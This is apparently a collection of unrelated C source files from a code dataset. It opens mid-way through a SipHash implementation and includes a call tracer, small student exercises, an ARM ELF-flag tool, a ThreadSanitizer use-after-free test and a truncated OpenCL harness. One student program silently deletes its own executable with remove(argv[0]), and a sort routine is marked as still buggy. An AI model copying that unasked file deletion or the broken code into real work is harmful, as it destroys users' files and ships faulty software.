0x7465646279746573ULL; uint64_t k0 = U8TO64_LE(k); uint64_t k1 = U8TO64_LE(k + 8); uint64_t m; const uint8_t *end = in + inlen - (inlen % sizeof(uint64_t)); const int left = inlen & 7; uint64_t b = ((uint64_t)inlen) << 56; v3 ^= k1; v2 ^= k0; v1 ^= k1; v0 ^= k0; for (; in != end; in += 8) { m = U8TO64_LE_NOCASE(in); v3 ^= m; SIPROUND; v0 ^= m; } switch (left) { case 7: b |= ((uint64_t)siptlw(in[6])) << 48; /* fall-thru */ case 6: b |= ((uint64_t)siptlw(in[5])) << 40; /* fall-thru */ case 5: b |= ((uint64_t)siptlw(in[4])) << 32; /* fall-thru */ case 4: b |= ((uint64_t)siptlw(in[3])) << 24; /* fall-thru */ case 3: b |= ((uint64_t)siptlw(in[2])) << 16; /* fall-thru */ case 2: b |= ((uint64_t)siptlw(in[1])) << 8; /* fall-thru */ case 1: b |= ((uint64_t)siptlw(in[0])); break; case 0: break; } v3 ^= b; SIPROUND; v0 ^= b; v2 ^= 0xff; SIPROUND; SIPROUND; b = v0 ^ v1 ^ v2 ^ v3; #ifndef UNALIGNED_LE_CPU U64TO8_LE(out, b); return hash; #else return b; #endif } /* --------------------------------- TEST ------------------------------------ */ #ifdef SIPHASH_TEST const uint8_t vectors_sip64[64][8] = { { 0x31, 0x0e, 0x0e, 0xdd, 0x47, 0xdb, 0x6f, 0x72, }, { 0xfd, 0x67, 0xdc, 0x93, 0xc5, 0x39, 0xf8, 0x74, }, { 0x5a, 0x4f, 0xa9, 0xd9, 0x09, 0x80, 0x6c, 0x0d, }, { 0x2d, 0x7e, 0xfb, 0xd7, 0x96, 0x66, 0x67, 0x85, }, { 0xb7, 0x87, 0x71, 0x27, 0xe0, 0x94, 0x27, 0xcf, }, { 0x8d, 0xa6, 0x99, 0xcd, 0x64, 0x55, 0x76, 0x18, }, { 0xce, 0xe3, 0xfe, 0x58, 0x6e, 0x46, 0xc9, 0xcb, }, { 0x37, 0xd1, 0x01, 0x8b, 0xf5, 0x00, 0x02, 0xab, }, { 0x62, 0x24, 0x93, 0x9a, 0x79, 0xf5, 0xf5, 0x93, }, { 0xb0, 0xe4, 0xa9, 0x0b, 0xdf, 0x82, 0x00, 0x9e, }, { 0xf3, 0xb9, 0xdd, 0x94, 0xc5, 0xbb, 0x5d, 0x7a, }, { 0xa7, 0xad, 0x6b, 0x22, 0x46, 0x2f, 0xb3, 0xf4, }, { 0xfb, 0xe5, 0x0e, 0x86, 0xbc, 0x8f, 0x1e, 0x75, }, { 0x90, 0x3d, 0x84, 0xc0, 0x27, 0x56, 0xea, 0x14, }, { 0xee, 0xf2, 0x7a, 0x8e, 0x90, 0xca, 0x23, 0xf7, }, { 0xe5, 0x45, 0xbe, 0x49, 0x61, 0xca, 0x29, 0xa1, }, { 0xdb, 0x9b, 0xc2, 0x57, 0x7f, 0xcc, 0x2a, 0x3f, }, { 0x94, 0x47, 0xbe, 0x2c, 0xf5, 0xe9, 0x9a, 0x69, }, { 0x9c, 0xd3, 0x8d, 0x96, 0xf0, 0xb3, 0xc1, 0x4b, }, { 0xbd, 0x61, 0x79, 0xa7, 0x1d, 0xc9, 0x6d, 0xbb, }, { 0x98, 0xee, 0xa2, 0x1a, 0xf2, 0x5c, 0xd6, 0xbe, }, { 0xc7, 0x67, 0x3b, 0x2e, 0xb0, 0xcb, 0xf2, 0xd0, }, { 0x88, 0x3e, 0xa3, 0xe3, 0x95, 0x67, 0x53, 0x93, }, { 0xc8, 0xce, 0x5c, 0xcd, 0x8c, 0x03, 0x0c, 0xa8, }, { 0x94, 0xaf, 0x49, 0xf6, 0xc6, 0x50, 0xad, 0xb8, }, { 0xea, 0xb8, 0x85, 0x8a, 0xde, 0x92, 0xe1, 0xbc, }, { 0xf3, 0x15, 0xbb, 0x5b, 0xb8, 0x35, 0xd8, 0x17, }, { 0xad, 0xcf, 0x6b, 0x07, 0x63, 0x61, 0x2e, 0x2f, }, { 0xa5, 0xc9, 0x1d, 0xa7, 0xac, 0xaa, 0x4d, 0xde, }, { 0x71, 0x65, 0x95, 0x87, 0x66, 0x50, 0xa2, 0xa6, }, { 0x28, 0xef, 0x49, 0x5c, 0x53, 0xa3, 0x87, 0xad, }, { 0x42, 0xc3, 0x41, 0xd8, 0xfa, 0x92, 0xd8, 0x32, }, { 0xce, 0x7c, 0xf2, 0x72, 0x2f, 0x51, 0x27, 0x71, }, { 0xe3, 0x78, 0x59, 0xf9, 0x46, 0x23, 0xf3, 0xa7, }, { 0x38, 0x12, 0x05, 0xbb, 0x1a, 0xb0, 0xe0, 0x12, }, { 0xae, 0x97, 0xa1, 0x0f, 0xd4, 0x34, 0xe0, 0x15, }, { 0xb4, 0xa3, 0x15, 0x08, 0xbe, 0xff, 0x4d, 0x31, }, { 0x81, 0x39, 0x62, 0x29, 0xf0, 0x90, 0x79, 0x02, }, { 0x4d, 0x0c, 0xf4, 0x9e, 0xe5, 0xd4, 0xdc, 0xca, }, { 0x5c, 0x73, 0x33, 0x6a, 0x76, 0xd8, 0xbf, 0x9a, }, { 0xd0, 0xa7, 0x04, 0x53, 0x6b, 0xa9, 0x3e, 0x0e, }, { 0x92, 0x59, 0x58, 0xfc, 0xd6, 0x42, 0x0c, 0xad, }, { 0xa9, 0x15, 0xc2, 0x9b, 0xc8, 0x06, 0x73, 0x18, }, { 0x95, 0x2b, 0x79, 0xf3, 0xbc, 0x0a, 0xa6, 0xd4, }, { 0xf2, 0x1d, 0xf2, 0xe4, 0x1d, 0x45, 0x35, 0xf9, }, { 0x87, 0x57, 0x75, 0x19, 0x04, 0x8f, 0x53, 0xa9, }, { 0x10, 0xa5, 0x6c, 0xf5, 0xdf, 0xcd, 0x9a, 0xdb, }, { 0xeb, 0x75, 0x09, 0x5c, 0xcd, 0x98, 0x6c, 0xd0, }, { 0x51, 0xa9, 0xcb, 0x9e, 0xcb, 0xa3, 0x12, 0xe6, }, { 0x96, 0xaf, 0xad, 0xfc, 0x2c, 0xe6, 0x66, 0xc7, }, { 0x72, 0xfe, 0x52, 0x97, 0x5a, 0x43, 0x64, 0xee, }, { 0x5a, 0x16, 0x45, 0xb2, 0x76, 0xd5, 0x92, 0xa1, }, { 0xb2, 0x74, 0xcb, 0x8e, 0xbf, 0x87, 0x87, 0x0a, }, { 0x6f, 0x9b, 0xb4, 0x20, 0x3d, 0xe7, 0xb3, 0x81, }, { 0xea, 0xec, 0xb2, 0xa3, 0x0b, 0x22, 0xa8, 0x7f, }, { 0x99, 0x24, 0xa4, 0x3c, 0xc1, 0x31, 0x57, 0x24, }, { 0xbd, 0x83, 0x8d, 0x3a, 0xaf, 0xbf, 0x8d, 0xb7, }, { 0x0b, 0x1a, 0x2a, 0x32, 0x65, 0xd5, 0x1a, 0xea, }, { 0x13, 0x50, 0x79, 0xa3, 0x23, 0x1c, 0xe6, 0x60, }, { 0x93, 0x2b, 0x28, 0x46, 0xe4, 0xd7, 0x06, 0x66, }, { 0xe1, 0x91, 0x5f, 0x5c, 0xb1, 0xec, 0xa4, 0x6c, }, { 0xf3, 0x25, 0x96, 0x5c, 0xa1, 0x6d, 0x62, 0x9f, }, { 0x57, 0x5f, 0xf2, 0x8e, 0x60, 0x38, 0x1b, 0xe5, }, { 0x72, 0x45, 0x06, 0xeb, 0x4c, 0x32, 0x8a, 0x95, }, }; /* Test siphash using a test vector. Returns 0 if the function passed * all the tests, otherwise 1 is returned. * * IMPORTANT: The test vector is for SipHash 2-4. Before running * the test revert back the siphash() function to 2-4 rounds since * now it uses 1-2 rounds. */ int siphash_test(void) { uint8_t in[64], k[16]; int i; int fails = 0; for (i = 0; i < 16; ++i) k[i] = i; for (i = 0; i < 64; ++i) { in[i] = i; uint64_t hash = siphash(in, i, k); const uint8_t *v = NULL; v = (uint8_t *)vectors_sip64; if (memcmp(&hash, v + (i * 8), 8)) { /* printf("fail for %d bytes\n", i); */ fails++; } } /* Run a few basic tests with the case insensitive version. */ uint64_t h1, h2; h1 = siphash((uint8_t*)"hello world",11,(uint8_t*)"1234567812345678"); h2 = siphash_nocase((uint8_t*)"hello world",11,(uint8_t*)"1234567812345678"); if (h1 != h2) fails++; h1 = siphash((uint8_t*)"hello world",11,(uint8_t*)"1234567812345678"); h2 = siphash_nocase((uint8_t*)"HELLO world",11,(uint8_t*)"1234567812345678"); if (h1 != h2) fails++; h1 = siphash((uint8_t*)"HELLO world",11,(uint8_t*)"1234567812345678"); h2 = siphash_nocase((uint8_t*)"HELLO world",11,(uint8_t*)"1234567812345678"); if (h1 == h2) fails++; if (!fails) return 0; return 1; } int main(void) { if (siphash_test() == 0) { printf("SipHash test: OK\n"); return 0; } else { printf("SipHash test: FAILED\n"); return 1; } } #endif
the_stack_data/1023575.c
/* * ISC License * * Copyright (c) 2021, Tommi Leino <[email protected]> * * Permission to use, copy, modify, and/or distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. */ #include <stdio.h> #include <ctype.h> #include <string.h> #include <stdlib.h> enum { STATE_ANY, STATE_COMMENT_BEGIN, STATE_COMMENT_END, STATE_COMMENT_END_FIN, STATE_SKIP_EOL, STATE_IDENTIFIER, STATE_SQUOTE_END, STATE_DQUOTE_END }; enum { /* Type specifiers */ KW_STATIC, KW_CONST, KW_VOLATILE, KW_REGISTER, KW_EXTERN, KW_RESTRICT, KW_CHAR, KW_SHORT, KW_INT, KW_LONG, KW_FLOAT, KW_DOUBLE, KW_VOID, KW_UNSIGNED, KW_SIGNED, KW_SIZE_T, KW_SSIZE_T, KW_ENUM, KW_STRUCT, KW_UNION, KW_TYPEDEF, /* Constructs */ KW_FOR, KW_SWITCH, KW_IF, KW_ELSE, KW_DO, KW_WHILE, /* Labels */ KW_CASE, /* Construct controls */ KW_BREAK, KW_CONTINUE, /* Function control */ KW_RETURN, KW_GOTO, /* Built-in functions */ KW_SIZEOF, /* Misc */ KW_BOOL, KW_NULL }; static const char *keyword[] = { "static", "const", "volatile", "register", "extern", "restrict", "char", "short", "int", "long", "float", "double", "void", "unsigned", "signed", "size_t", "ssize_t", "enum", "struct", "union", "typedef", "for", "switch", "if", "else", "do", "while", "case", "break", "continue", "return", "goto", "sizeof", "bool", "NULL" }; static char **identifiers; static size_t n_identifiers; static size_t alloc_identifiers; static size_t identifier_no; static int state; static int last_state; static int escape; static int col, line; static int depth; static char *follow; static int follow_on = -1; static char identifier[30]; static char finished_identifier[30]; static char *p; static int is_keyword(size_t); static size_t find_id(char *); static const char *id_as_str(size_t); static void check_follow(char *); static size_t find_id(char *identifier) { size_t i; static const size_t kw_arr_len = sizeof(keyword) / sizeof(keyword[0]); for (i = 0; i < sizeof(keyword) / sizeof(keyword[0]); i++) if (strcmp(identifier, keyword[i]) == 0) return i; for (i = 0; i < n_identifiers; i++) { if (strcmp(identifier, identifiers[i]) == 0) return kw_arr_len + i; } if (alloc_identifiers == n_identifiers) { if (alloc_identifiers == 0) alloc_identifiers = 16; else alloc_identifiers *= 2; identifiers = realloc(identifiers, sizeof(char *) * alloc_identifiers); } identifiers[n_identifiers++] = strdup(identifier); return kw_arr_len + i; } static const char * id_as_str(size_t idn) { if (is_keyword(idn)) return keyword[idn]; return identifiers[idn - sizeof(keyword) / sizeof(keyword[0])]; } static int is_keyword(size_t idn) { if (idn >= 0 && idn < sizeof(keyword) / sizeof(keyword[0])) return 1; return 0; } static int usage(char *prog) { fprintf(stderr, "usage: %s\n" " %s follow FUNCTION", prog, prog); return 1; } static void check_follow(char *identifier) { if (follow != NULL) { if (follow_on == -1 && depth == 0 && strcmp(identifier, follow) == 0) follow_on = depth; else if (follow_on == depth && strcmp(identifier, follow) != 0) follow_on = -1; } else follow_on = 0; } int main(int argc, char *argv[]) { char c; int i; if (argc >= 2) { if (strcmp(argv[1], "follow") == 0) { if (argc < 3) return usage(argv[0]); else follow = argv[2]; } else return usage(argv[0]); } while ((c = getchar()) != EOF) { if (col == 0 && c == '#') state = STATE_SKIP_EOL; if (last_state == STATE_IDENTIFIER && state == STATE_ANY && c == '(' && !is_keyword(identifier_no)) { printf("id '%s' is func...\n", id_as_str(identifier_no)); } last_state = state; switch (state) { case STATE_ANY: if (c == '/') state = STATE_COMMENT_BEGIN; else if ((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') || c == '_') { p = &identifier[0]; state = STATE_IDENTIFIER; *p++ = c; } else if (c == '\'') { state = STATE_SQUOTE_END; } else if (c == '\"') { state = STATE_DQUOTE_END; } else if (c == '{') { depth++; } else if (c == '}') { depth--; } break; case STATE_SQUOTE_END: if (c == '\\' && escape == 0) escape = 1; else if (c == '\'' && escape == 0) state = STATE_ANY; else escape = 0; break; case STATE_DQUOTE_END: if (c == '\\' && escape == 0) escape = 1; else if (c == '\"' && escape == 0) state = STATE_ANY; else escape = 0; break; case STATE_IDENTIFIER: if (!((c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z') || (c >= 0 && c <= 9) || c == '_')) { *p = '\0'; identifier_no = find_id(identifier); #if 0 if (!is_keyword(identifier_no)) { printf("<stdin>:%d: %s\n", line + 1, identifier); } #endif strcpy(finished_identifier, identifier); if (c == '(' && !is_keyword(identifier_no)) { check_follow(identifier); if (follow == NULL || (follow_on != -1 && follow_on != depth)) { #if 1 printf("%d\t", line); for (i = 0; i < depth; i++) putchar('\t'); #endif puts(id_as_str(identifier_no)); } } state = STATE_ANY; } else *p++ = c; break; case STATE_COMMENT_BEGIN: if (c == '*') state = STATE_COMMENT_END; else state = STATE_ANY; break; case STATE_COMMENT_END: if (c == '*') state = STATE_COMMENT_END_FIN; #if 0 else printf("\033[31m%c\033[0m", c); #endif break; case STATE_COMMENT_END_FIN: if (c == '/') state = STATE_ANY; else state = STATE_COMMENT_END; break; } if (c == '\n') { line++; col = 0; if (state == STATE_SKIP_EOL) state = STATE_ANY; } else col++; } #if 0 printf("n_identifiers: %d alloc_identifiers: %d (%lu bytes)\n", n_identifiers, alloc_identifiers, alloc_identifiers * sizeof(char *)); #endif return 0; }
the_stack_data/68886464.c
#include <stdio.h> int main() { // printf("Hello World! \n"); for (int i = 0; i < 5; i++) { printf("%d\n", i); } return 0; }
the_stack_data/159515989.c
#include <stdio.h> int main(int argc, char const *argv[]) { float metersPerSecond, kilometersPerHour; printf("Insert the velocity in M/s: "); scanf("%f", &metersPerSecond); kilometersPerHour = 3.6 * metersPerSecond; printf("%.2f M/s is equal to %.2f Km/h.", metersPerSecond, kilometersPerHour); return 0; }
the_stack_data/105911.c
#include <stdio.h> #include <time.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> //saving current time info in struct tm; struct tm* newTime; struct tm* myTime; time_t rawtime, testtime; //ctrl + c displays a new clock /* void handler(int sig) { char buffer[80]; time(&testtime); newTime = localtime(&testtime); newTime->tm_year = 2019; newTime->tm_mon = 8; newTime->tm_mday = 18; newTime->tm_hour = 13; newTime->tm_min = 24; newTime->tm_sec = 50; mktime(newTime); while(1){ system("clear"); time(&testtime); newTime->tm_sec++; mktime(newTime); strftime(buffer, 80, "%a %m-%d \n %H:%M:%S \a", newTime); puts(buffer); sleep(1); } } */ int main(){ char buffer[80]; int hour, min, sec, year, mon, day; time(&rawtime); myTime = localtime(&rawtime); /* myTime->tm_year = 2019; myTime->tm_mon = 10; myTime->tm_mday = 14; myTime->tm_hour = 23; myTime->tm_min = 59; myTime->tm_sec = 50; */ printf("Hour - Min - Sec: "); scanf("%d %d %d", &hour, &min, &sec); fflush(stdin); printf("YYYY-MM-DD: "); scanf("%d %d %d", &year, &mon, &day); fflush(stdin); myTime->tm_year = year - 1900; myTime->tm_mon = mon - 1; myTime->tm_mday = day; myTime->tm_hour = hour; myTime->tm_min = min; myTime->tm_sec = sec; mktime(myTime); // signal(SIGINT, handler); while(1){ system("clear"); time(&rawtime); myTime->tm_sec++; mktime(myTime); strftime(buffer, 80, "%a %y-%m-%d \n %H:%M:%S \a", myTime); puts(buffer); sleep(1); } return 0; }
the_stack_data/957734.c
/* +-----------------------+ | Dipankar Das 20051554 | +-----------------------+ WAP to arrange the numbers stored in the array so that it will display first all odd numbers, then even numbers.*/ #include <stdio.h> #include <stdlib.h> const int comp(const void* a, const void* b){ return (*(int32_t*)a & 1)? 0: 1; } int main(int argc, char const *argv[]) { int n=0; printf("enter the number of ele.. "); scanf("%d",&n); int* arr = (int*)malloc(n*sizeof(int)); for(int i=0;i<n;i++) scanf("%d",(arr+i)); qsort(arr, n, sizeof(int), comp); for(int i=0;i<n;i++) printf("%d ",arr[i]); printf("\n"); remove(argv[0]); return 0; }
the_stack_data/70449703.c
// SPDX-License-Identifier: GPL-2.0-only /* * Copyright 2015 Mentor Graphics Corporation. * * vdsomunge - Host program which produces a shared object * architecturally specified to be usable by both soft- and hard-float * programs. * * The Procedure Call Standard for the ARM Architecture (ARM IHI * 0042E) says: * * 6.4.1 VFP and Base Standard Compatibility * * Code compiled for the VFP calling standard is compatible with * the base standard (and vice-versa) if no floating-point or * containerized vector arguments or results are used. * * And ELF for the ARM Architecture (ARM IHI 0044E) (Table 4-2) says: * * If both EF_ARM_ABI_FLOAT_XXXX bits are clear, conformance to the * base procedure-call standard is implied. * * The VDSO is built with -msoft-float, as with the rest of the ARM * kernel, and uses no floating point arguments or results. The build * process will produce a shared object that may or may not have the * EF_ARM_ABI_FLOAT_SOFT flag set (it seems to depend on the binutils * version; binutils starting with 2.24 appears to set it). The * EF_ARM_ABI_FLOAT_HARD flag should definitely not be set, and this * program will error out if it is. * * If the soft-float flag is set, this program clears it. That's all * it does. */ #include <elf.h> #include <errno.h> #include <fcntl.h> #include <stdarg.h> #include <stdbool.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> #define swab16(x) \ ((((x) & 0x00ff) << 8) | \ (((x) & 0xff00) >> 8)) #define swab32(x) \ ((((x) & 0x000000ff) << 24) | \ (((x) & 0x0000ff00) << 8) | \ (((x) & 0x00ff0000) >> 8) | \ (((x) & 0xff000000) >> 24)) #if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__ #define HOST_ORDER ELFDATA2LSB #elif __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__ #define HOST_ORDER ELFDATA2MSB #endif /* Some of the ELF constants we'd like to use were added to <elf.h> * relatively recently. */ #ifndef EF_ARM_EABI_VER5 #define EF_ARM_EABI_VER5 0x05000000 #endif #ifndef EF_ARM_ABI_FLOAT_SOFT #define EF_ARM_ABI_FLOAT_SOFT 0x200 #endif #ifndef EF_ARM_ABI_FLOAT_HARD #define EF_ARM_ABI_FLOAT_HARD 0x400 #endif static int failed; static const char *argv0; static const char *outfile; static void fail(const char *fmt, ...) { va_list ap; failed = 1; fprintf(stderr, "%s: ", argv0); va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); exit(EXIT_FAILURE); } static void cleanup(void) { if (failed && outfile != NULL) unlink(outfile); } static Elf32_Word read_elf_word(Elf32_Word word, bool swap) { return swap ? swab32(word) : word; } static Elf32_Half read_elf_half(Elf32_Half half, bool swap) { return swap ? swab16(half) : half; } static void write_elf_word(Elf32_Word val, Elf32_Word *dst, bool swap) { *dst = swap ? swab32(val) : val; } int main(int argc, char **argv) { const Elf32_Ehdr *inhdr; bool clear_soft_float; const char *infile; Elf32_Word e_flags; const void *inbuf; struct stat stat; void *outbuf; bool swap; int outfd; int infd; atexit(cleanup); argv0 = argv[0]; if (argc != 3) fail("Usage: %s [infile] [outfile]\n", argv[0]); infile = argv[1]; outfile = argv[2]; infd = open(infile, O_RDONLY); if (infd < 0) fail("Cannot open %s: %s\n", infile, strerror(errno)); if (fstat(infd, &stat) != 0) fail("Failed stat for %s: %s\n", infile, strerror(errno)); inbuf = mmap(NULL, stat.st_size, PROT_READ, MAP_PRIVATE, infd, 0); if (inbuf == MAP_FAILED) fail("Failed to map %s: %s\n", infile, strerror(errno)); close(infd); inhdr = inbuf; if (memcmp(&inhdr->e_ident, ELFMAG, SELFMAG) != 0) fail("Not an ELF file\n"); if (inhdr->e_ident[EI_CLASS] != ELFCLASS32) fail("Unsupported ELF class\n"); swap = inhdr->e_ident[EI_DATA] != HOST_ORDER; if (read_elf_half(inhdr->e_type, swap) != ET_DYN) fail("Not a shared object\n"); if (read_elf_half(inhdr->e_machine, swap) != EM_ARM) fail("Unsupported architecture %#x\n", inhdr->e_machine); e_flags = read_elf_word(inhdr->e_flags, swap); if (EF_ARM_EABI_VERSION(e_flags) != EF_ARM_EABI_VER5) { fail("Unsupported EABI version %#x\n", EF_ARM_EABI_VERSION(e_flags)); } if (e_flags & EF_ARM_ABI_FLOAT_HARD) fail("Unexpected hard-float flag set in e_flags\n"); clear_soft_float = !!(e_flags & EF_ARM_ABI_FLOAT_SOFT); outfd = open(outfile, O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR); if (outfd < 0) fail("Cannot open %s: %s\n", outfile, strerror(errno)); if (ftruncate(outfd, stat.st_size) != 0) fail("Cannot truncate %s: %s\n", outfile, strerror(errno)); outbuf = mmap(NULL, stat.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, outfd, 0); if (outbuf == MAP_FAILED) fail("Failed to map %s: %s\n", outfile, strerror(errno)); close(outfd); memcpy(outbuf, inbuf, stat.st_size); if (clear_soft_float) { Elf32_Ehdr *outhdr; outhdr = outbuf; e_flags &= ~EF_ARM_ABI_FLOAT_SOFT; write_elf_word(e_flags, &outhdr->e_flags, swap); } if (msync(outbuf, stat.st_size, MS_SYNC) != 0) fail("Failed to sync %s: %s\n", outfile, strerror(errno)); return EXIT_SUCCESS; }
the_stack_data/57949204.c
#include <stdio.h> #include <sys/socket.h> int main(int argc, char **argv) { #if defined(SO_SNDBUF) || defined(SO_RCVBUF) printf("YES\n"); #else printf("NO\n"); #endif }
the_stack_data/165766447.c
// RUN: %clang_tsan -O1 %s -o %t // RUN: not %t 2>&1 | FileCheck %s --check-prefix=NOZUPP // RUN: TSAN_OPTIONS="suppressions=%s.supp print_suppressions=1" %t 2>&1 | FileCheck %s --check-prefix=SUPP #include <pthread.h> #include <stdlib.h> #include <stdio.h> #include <stddef.h> #include <unistd.h> int *mem; pthread_mutex_t mtx; void *Thread1(void *x) { pthread_mutex_lock(&mtx); free(mem); pthread_mutex_unlock(&mtx); return NULL; } void *Thread2(void *x) { sleep(1); pthread_mutex_lock(&mtx); mem[0] = 42; pthread_mutex_unlock(&mtx); return NULL; } int main() { mem = (int*)malloc(100); pthread_mutex_init(&mtx, 0); pthread_t t; pthread_create(&t, NULL, Thread1, NULL); Thread2(0); pthread_join(t, NULL); pthread_mutex_destroy(&mtx); return 0; } // CHECK-NOZUPP: WARNING: ThreadSanitizer: heap-use-after-free // CHECK-NOZUPP: Write of size 4 at {{.*}} by main thread{{.*}}: // CHECK-NOZUPP: #0 Thread2 // CHECK-NOZUPP: #1 main // CHECK-NOZUPP: Previous write of size 8 at {{.*}} by thread T1{{.*}}: // CHECK-NOZUPP: #0 free // CHECK-NOZUPP: #{{(1|2)}} Thread1 // CHECK-NOZUPP: SUMMARY: ThreadSanitizer: heap-use-after-free{{.*}}Thread2 // CHECK-SUPP: ThreadSanitizer: Matched 1 suppressions // CHECK-SUPP: 1 race:^Thread2$
the_stack_data/9511710.c
#include <stdio.h> /* TODO: Fix this, it is still buggy */ void sort ( int a[], int n) { for (int current = 0; current < n-1; current++) { int lowestindex = current; for (int j = current+1; j < n; j++) { if (a[j] < a[current]) { lowestindex = j; } } if (lowestindex < current) { int temp = a[current]; a[current] = a[lowestindex]; a[lowestindex] = temp; } } } int main () { int a[4]; a[0] = 5; a[1] = 3; a[2] = 7; a[3] = 4; printf("Original:\n"); for (int i = 0; i < 4; i++) { printf("%d position %d\n", a[i], i); } sort(a, 4); printf("\nSorted:\n"); for (int i = 0; i < 4; i++) { printf("%d position %d\n", a[i], i); } return 0; }
the_stack_data/231393889.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <CL/cl.h> unsigned char *read_buffer(char *file_name, size_t *size_ptr) { FILE *f; unsigned char *buf; size_t size; /* Open file */ f = fopen(file_name, "rb"); if (!f) return NULL; /* Obtain file size */ fseek(f, 0, SEEK_END); size = ftell(f); fseek(f, 0, SEEK_SET); /* Allocate and read buffer */ buf = malloc(size + 1); fread(buf, 1, size, f); buf[size] = '\0'; /* Return size of buffer */ if (size_ptr) *size_ptr = size; /* Return buffer */ return buf; } void write_buffer(char *file_name, const char *buffer, size_t buffer_size) { FILE *f; /* Open file */ f = fopen(file_name, "w+"); /* Write buffer */ if(buffer) fwrite(buffer, 1, buffer_size, f); /* Close file */ fclose(f); } int main(int argc, char const *argv[]) { /* Get platform */ cl_platform_id platform; cl_uint num_platforms; cl_int ret = clGetPlatformIDs(1, &platform, &num_platforms); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformIDs' failed\n"); exit(1); } printf("Number of platforms: %d\n", num_platforms); printf("platform=%p\n", platform); /* Get platform name */ char platform_name[100]; ret = clGetPlatformInfo(platform, CL_PLATFORM_NAME, sizeof(platform_name), platform_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetPlatformInfo' failed\n"); exit(1); } printf("platform.name='%s'\n\n", platform_name); /* Get device */ cl_device_id device; cl_uint num_devices; ret = clGetDeviceIDs(platform, CL_DEVICE_TYPE_GPU, 1, &device, &num_devices); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceIDs' failed\n"); exit(1); } printf("Number of devices: %d\n", num_devices); printf("device=%p\n", device); /* Get device name */ char device_name[100]; ret = clGetDeviceInfo(device, CL_DEVICE_NAME, sizeof(device_name), device_name, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clGetDeviceInfo' failed\n"); exit(1); } printf("device.name='%s'\n", device_name); printf("\n"); /* Create a Context Object */ cl_context context; context = clCreateContext(NULL, 1, &device, NULL, NULL, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateContext' failed\n"); exit(1); } printf("context=%p\n", context); /* Create a Command Queue Object*/ cl_command_queue command_queue; command_queue = clCreateCommandQueue(context, device, 0, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateCommandQueue' failed\n"); exit(1); } printf("command_queue=%p\n", command_queue); printf("\n"); /* Program source */ unsigned char *source_code; size_t source_length; /* Read program from 'half_powr_float4float4.cl' */ source_code = read_buffer("half_powr_float4float4.cl", &source_length); /* Create a program */ cl_program program; program = clCreateProgramWithSource(context, 1, (const char **)&source_code, &source_length, &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateProgramWithSource' failed\n"); exit(1); } printf("program=%p\n", program); /* Build program */ ret = clBuildProgram(program, 1, &device, NULL, NULL, NULL); if (ret != CL_SUCCESS ) { size_t size; char *log; /* Get log size */ clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,0, NULL, &size); /* Allocate log and print */ log = malloc(size); clGetProgramBuildInfo(program, device, CL_PROGRAM_BUILD_LOG,size, log, NULL); printf("error: call to 'clBuildProgram' failed:\n%s\n", log); /* Free log and exit */ free(log); exit(1); } printf("program built\n"); printf("\n"); /* Create a Kernel Object */ cl_kernel kernel; kernel = clCreateKernel(program, "half_powr_float4float4", &ret); if (ret != CL_SUCCESS) { printf("error: call to 'clCreateKernel' failed\n"); exit(1); } /* Create and allocate host buffers */ size_t num_elem = 10; /* Create and init host side src buffer 0 */ cl_float4 *src_0_host_buffer; src_0_host_buffer = malloc(num_elem * sizeof(cl_float4)); for (int i = 0; i < num_elem; i++) src_0_host_buffer[i] = (cl_float4){{2.0, 2.0, 2.0, 2.0}}; /* Create and init device side src buffer 0 */ cl_mem src_0_device_buffer; src_0_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_float4), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_0_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_float4), src_0_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create and init host side src buffer 1 */ cl_float4 *src_1_host_buffer; src_1_host_buffer = malloc(num_elem * sizeof(cl_float4)); for (int i = 0; i < num_elem; i++) src_1_host_buffer[i] = (cl_float4){{2.0, 2.0, 2.0, 2.0}}; /* Create and init device side src buffer 1 */ cl_mem src_1_device_buffer; src_1_device_buffer = clCreateBuffer(context, CL_MEM_READ_ONLY, num_elem * sizeof(cl_float4), NULL, &ret); if (ret != CL_SUCCESS) { printf("error: could not create source buffer\n"); exit(1); } ret = clEnqueueWriteBuffer(command_queue, src_1_device_buffer, CL_TRUE, 0, num_elem * sizeof(cl_float4), src_1_host_buffer, 0, NULL, NULL); if (ret != CL_SUCCESS) { printf("error: call to 'clEnqueueWriteBuffer' failed\n"); exit(1); } /* Create host dst buffer */ cl_float4 *dst_host_buffer; dst_host_buffer = malloc(num_elem * sizeof(cl_float4)); memset((void *)dst_host_buffer, 1, num_elem * 